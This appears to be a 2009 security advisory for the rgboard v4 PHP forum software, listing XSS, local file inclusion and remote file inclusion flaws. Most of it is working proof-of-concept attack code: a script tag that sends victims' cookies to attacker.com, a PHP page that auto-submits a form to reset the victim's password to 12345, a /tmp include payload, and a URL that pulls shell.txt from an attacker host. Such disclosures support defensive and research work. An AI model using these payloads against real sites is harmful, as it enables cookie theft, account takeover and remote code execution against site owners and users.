rgboard v4 Multiple Vulnerability

2009.02.06
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

/*************************** XSS Vulnerability /wrtie.php .. $bd_content = rg_conv_text($bd_content,$bd_html); //You have to check 'html use'. *************************/ poc: Inject XSS tag : <img src = "http://attacker.com" onError="window.location='http://attacker.com/c.php?c='+document.cookie+'&l='+window.location">Hi there! :) /rghunter.php - Makes password as 12345 <?php extract($_GET); $url = eregi_replace("http://","",$l); $chk = 0; for($i = 0; $i < strlen($url); $i++) { if($url[$i] == '/') { $chk = $i; } } for($i = $chk; $i < strlen($url); $i++) { $url[$i] = ""; } $url = $url."/../rg4_member/modify.php"; setcookie($c); ?> <form action = "http://<?=$url ?>?" method = "post" name = "member_info"> <input type="hidden" name="form_mode" value="member_modify_ok"> <input type="hidden" name="ret_url" value="../main/index.php"> <input type="hidden" name="mb_pass" value="12345"> <input type="hidden" name="mb_pass1" value="12345"> <input type="hidden" name="mb_nick" value="hacked"> <input type="hidden" name="mb_email" value="attacker_at_attack&#46;com"> <input type="hidden" name="mb_tel11" value="062"> <input type="hidden" name="mb_tel12" value="1234"> <input type="hidden" name="mb_tel13" value="1234"> <input type="hidden" name="mb_tel21" value="010"> <input type="hidden" name="mb_tel22" value="123"> <input type="hidden" name="mb_tel23" value="1234"> <input type="hidden" name="mb_signature" value="hacked"> <input type="hidden" name="mb_introduce" value="hacked"> </form> <script> document.member_info.submit(); </script> /*************************** Local File Inclusion Vulnerability /_footer.php if(file_exists($skin_path."footer.php")) include($skin_path."footer.php"); //File inclusion *************************/ poc: //yeah, there is a problem.. file_exists()! //How can we bypass it? I don`t know :) //If we have account in same server with target, we can attack his board easily //Here is the example : http://attacker.com/RGboard/rg4_board/_footer.php?skin_path=../../../../../../tmp/ /tmp/footer.php <? $d = dir("/tmp"); echo "Handle: " . $d->handle . "\n"; echo "Path: " . $d->path . "\n"; while (false !== ($entry = $d->read())) { echo $entry."\n"; } $d->close(); ?> //Yeah, It is good, But when we don`t account in that server, How we can beat target? //We can find a clue from php.net //On windows, use //computername/share/filename or \\computername\share\filename to check files on network shares. //As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to List of Supported Protocols/Wrappers //for a listing of which wrappers support stat() family of functionality. //Do you find clue too? :-O /*************************** Remote File Inclusion Vulnerability /footer.php </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> .. include($_path['counter']."rg_counter.php"); ?> //File inclusion *************************/ poc: http://test.com/RGboard/include/footer.php?_path[counter]=http://attacker.com/shell.txt?

References:

http://seclists.org/bugtraq/2009/Feb/0027.html


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